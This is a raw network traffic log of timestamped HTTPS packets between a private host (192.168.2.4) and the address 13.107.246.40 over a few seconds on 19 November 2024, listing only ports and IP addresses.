Nov 19, 2024 22:07:09.767992020 CET	443	49884	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.776089907 CET	443	49885	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.778147936 CET	49885	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.778182983 CET	443	49885	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.778683901 CET	49885	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.778693914 CET	443	49885	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.807698965 CET	443	49886	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.808134079 CET	49886	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.808154106 CET	443	49886	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.808984041 CET	49886	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.808995008 CET	443	49886	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.832882881 CET	443	49887	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.833494902 CET	49887	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.833580017 CET	443	49887	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.833933115 CET	49887	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.833947897 CET	443	49887	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.927845001 CET	443	49888	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.945363045 CET	443	49884	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.945710897 CET	443	49884	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.948935032 CET	49884	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.960771084 CET	49888	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.960788012 CET	443	49888	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.961431980 CET	49888	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.961437941 CET	443	49888	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.963043928 CET	49884	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.963043928 CET	49884	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.963079929 CET	443	49884	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.963124990 CET	443	49884	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.964951038 CET	443	49885	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.965162992 CET	443	49885	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.966120005 CET	49885	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.966120958 CET	49885	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.966120958 CET	49885	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.968619108 CET	49889	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.968651056 CET	443	49889	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.969221115 CET	49889	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.969441891 CET	49889	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.969456911 CET	443	49889	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.969965935 CET	49890	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.969984055 CET	443	49890	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:09.970390081 CET	49890	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.971158981 CET	49890	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:09.971173048 CET	443	49890	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.015722036 CET	443	49887	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.015886068 CET	443	49887	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.016227007 CET	443	49886	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.016369104 CET	443	49886	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.016431093 CET	49887	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.016536951 CET	49886	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.029030085 CET	49887	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.029030085 CET	49887	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.029073000 CET	443	49887	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.029099941 CET	443	49887	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.034782887 CET	49886	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.034782887 CET	49886	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.034816980 CET	443	49886	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.034842014 CET	443	49886	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.044342995 CET	49891	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.044365883 CET	443	49891	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.044440031 CET	49891	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.045898914 CET	49892	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.045974016 CET	443	49892	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.049113035 CET	49892	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.049242973 CET	49891	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.049257040 CET	443	49891	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.052915096 CET	49892	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.052947998 CET	443	49892	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.116365910 CET	443	49888	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.116616964 CET	443	49888	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.116684914 CET	49888	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.116698027 CET	443	49888	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.116735935 CET	443	49888	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.116786957 CET	49888	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.120820999 CET	49888	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.120831013 CET	443	49888	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.120930910 CET	49888	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.120937109 CET	443	49888	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.131393909 CET	49893	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.131419897 CET	443	49893	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.131577969 CET	49893	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.132863045 CET	49893	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.132878065 CET	443	49893	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.246788025 CET	443	49889	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.249002934 CET	49889	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.249020100 CET	443	49889	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.249589920 CET	49889	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.249593973 CET	443	49889	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.252624989 CET	443	49890	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.253395081 CET	49890	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.253403902 CET	443	49890	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.253921032 CET	49890	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.253926992 CET	443	49890	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.272186995 CET	49885	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.272253036 CET	443	49885	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.334884882 CET	443	49891	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.334943056 CET	443	49892	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.335589886 CET	49891	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.335608959 CET	443	49891	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.336188078 CET	49891	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.336194038 CET	443	49891	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.336618900 CET	49892	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.336654902 CET	443	49892	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.337259054 CET	49892	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.337270975 CET	443	49892	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.414235115 CET	443	49893	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.431299925 CET	443	49889	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.431824923 CET	443	49889	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.431883097 CET	49889	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.434513092 CET	443	49890	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.434729099 CET	443	49890	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.434874058 CET	49890	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.441742897 CET	49893	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.441760063 CET	443	49893	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.442428112 CET	49893	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.442435026 CET	443	49893	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.442827940 CET	49889	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.442846060 CET	443	49889	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.442862034 CET	49889	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.442867994 CET	443	49889	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.442956924 CET	49890	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.442970037 CET	443	49890	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.442985058 CET	49890	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.442990065 CET	443	49890	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.446250916 CET	49894	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.446296930 CET	443	49894	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.446801901 CET	49895	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.446832895 CET	49894	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.446835041 CET	443	49895	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.446887970 CET	49895	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.447155952 CET	49895	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.447174072 CET	443	49895	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.453819990 CET	49894	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.453851938 CET	443	49894	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.514839888 CET	443	49891	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.514894009 CET	443	49891	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.515085936 CET	443	49891	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.515147924 CET	49891	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.517122984 CET	49891	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.517132998 CET	443	49891	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.517143011 CET	49891	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.517148972 CET	443	49891	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.520114899 CET	49896	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.520169020 CET	443	49892	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.520190001 CET	443	49896	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.520344019 CET	49896	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.520375967 CET	443	49892	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.520515919 CET	49892	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.520931005 CET	49896	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.520963907 CET	443	49896	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.520999908 CET	49892	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.521022081 CET	443	49892	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.521049023 CET	49892	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.521064997 CET	443	49892	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.524287939 CET	49897	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.524326086 CET	443	49897	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.524393082 CET	49897	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.524962902 CET	49897	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.524981022 CET	443	49897	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.593565941 CET	443	49893	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.593636990 CET	443	49893	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.593688965 CET	49893	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.593717098 CET	443	49893	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.593755007 CET	443	49893	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.593890905 CET	49893	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.593890905 CET	49893	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.593909979 CET	443	49893	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.593962908 CET	49893	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.593970060 CET	443	49893	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.596910000 CET	49898	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.596980095 CET	443	49898	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.597372055 CET	49898	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.597826958 CET	49898	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.597861052 CET	443	49898	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.729459047 CET	443	49894	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.730016947 CET	49894	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.730057001 CET	443	49894	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.730626106 CET	49894	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.730638027 CET	443	49894	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.737772942 CET	443	49895	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.738310099 CET	49895	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.738332033 CET	443	49895	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.738854885 CET	49895	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.738859892 CET	443	49895	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.802284956 CET	443	49896	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.803869963 CET	443	49897	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.807430983 CET	49896	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.807459116 CET	443	49896	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.808125973 CET	49896	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.808151007 CET	443	49896	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.809565067 CET	49897	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.809595108 CET	443	49897	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.810204983 CET	49897	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.810231924 CET	443	49897	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.881699085 CET	443	49898	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.882201910 CET	49898	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.882234097 CET	443	49898	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.882822990 CET	49898	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.882834911 CET	443	49898	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.916774035 CET	443	49894	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.916949034 CET	443	49894	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.916987896 CET	443	49894	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.917000055 CET	49894	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.917045116 CET	49894	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.920922041 CET	443	49895	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.921267986 CET	443	49895	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.922207117 CET	49895	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.936096907 CET	49894	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.936167955 CET	443	49894	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.936203957 CET	49894	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.936222076 CET	443	49894	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.936408997 CET	49895	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.936408997 CET	49895	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.936428070 CET	443	49895	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.936449051 CET	443	49895	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.940007925 CET	49899	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.940047979 CET	443	49899	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.940258980 CET	49899	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.940752983 CET	49899	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.940771103 CET	443	49899	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.941664934 CET	49900	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.941736937 CET	443	49900	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.941817045 CET	49900	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.941968918 CET	49900	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.942004919 CET	443	49900	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.982893944 CET	443	49896	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.984703064 CET	443	49896	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.984836102 CET	443	49896	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.984901905 CET	49896	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.984901905 CET	49896	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.985027075 CET	49896	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.985027075 CET	49896	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.985089064 CET	443	49896	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.985120058 CET	443	49896	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.987612009 CET	49901	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.987726927 CET	443	49901	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.987823963 CET	49901	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.988245010 CET	49901	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.988281012 CET	443	49901	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.991457939 CET	443	49897	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.991748095 CET	443	49897	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.991822958 CET	49897	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.991864920 CET	49897	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.991864920 CET	49897	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.991884947 CET	443	49897	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.991899014 CET	443	49897	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.994230986 CET	49902	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.994313955 CET	443	49902	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:10.994388103 CET	49902	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.994627953 CET	49902	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:10.994667053 CET	443	49902	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.061116934 CET	443	49898	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.061170101 CET	443	49898	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.061306000 CET	49898	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.061366081 CET	443	49898	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.061408043 CET	443	49898	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.061460972 CET	49898	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.061522007 CET	49898	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.061522007 CET	49898	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.061552048 CET	443	49898	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.061575890 CET	443	49898	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.063725948 CET	49903	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.063755989 CET	443	49903	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.063833952 CET	49903	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.063961029 CET	49903	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.063993931 CET	443	49903	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.220596075 CET	443	49899	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.221709013 CET	49899	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.221746922 CET	443	49899	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.222381115 CET	49899	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.222388983 CET	443	49899	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.227169037 CET	443	49900	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.227535009 CET	49900	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.227628946 CET	443	49900	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.228182077 CET	49900	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.228197098 CET	443	49900	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.271855116 CET	443	49901	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.272234917 CET	49901	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.272263050 CET	443	49901	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.272658110 CET	49901	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.272670984 CET	443	49901	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.276169062 CET	443	49902	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.276438951 CET	49902	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.276520967 CET	443	49902	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.276765108 CET	49902	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.276779890 CET	443	49902	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.347861052 CET	443	49903	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.362777948 CET	49903	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.362808943 CET	443	49903	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.363347054 CET	49903	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.363358974 CET	443	49903	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.408140898 CET	443	49900	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.408360004 CET	443	49900	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.408473015 CET	443	49900	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.408515930 CET	49900	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.408516884 CET	49900	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.411098003 CET	49900	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.411098003 CET	49900	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.411163092 CET	443	49900	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.411197901 CET	443	49900	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.414827108 CET	49904	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.414868116 CET	443	49904	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.414933920 CET	49904	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.415143013 CET	49904	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.415153980 CET	443	49904	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.421072960 CET	443	49899	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.421179056 CET	443	49899	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.421224117 CET	443	49899	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.421226025 CET	49899	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.421260118 CET	49899	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.421438932 CET	49899	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.421458960 CET	443	49899	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.421483994 CET	49899	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.421490908 CET	443	49899	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.430948973 CET	49905	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.431031942 CET	443	49905	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.431121111 CET	49905	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.431390047 CET	49905	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.431412935 CET	443	49905	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.451446056 CET	443	49901	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.451647997 CET	443	49901	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.451719046 CET	49901	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.451786041 CET	49901	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.451786041 CET	49901	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.451822996 CET	443	49901	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.451845884 CET	443	49901	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.453802109 CET	49906	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.453840971 CET	443	49906	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.453911066 CET	49906	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.454035997 CET	49906	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.454058886 CET	443	49906	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.455847025 CET	443	49902	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.456020117 CET	443	49902	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.456425905 CET	49902	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.456504107 CET	49902	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.456504107 CET	49902	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.456546068 CET	443	49902	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.456573963 CET	443	49902	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.459131956 CET	49907	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:11.459213972 CET	443	49907	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:11.459297895 CET	49907	443	192.168.2.4	13.107.246.40
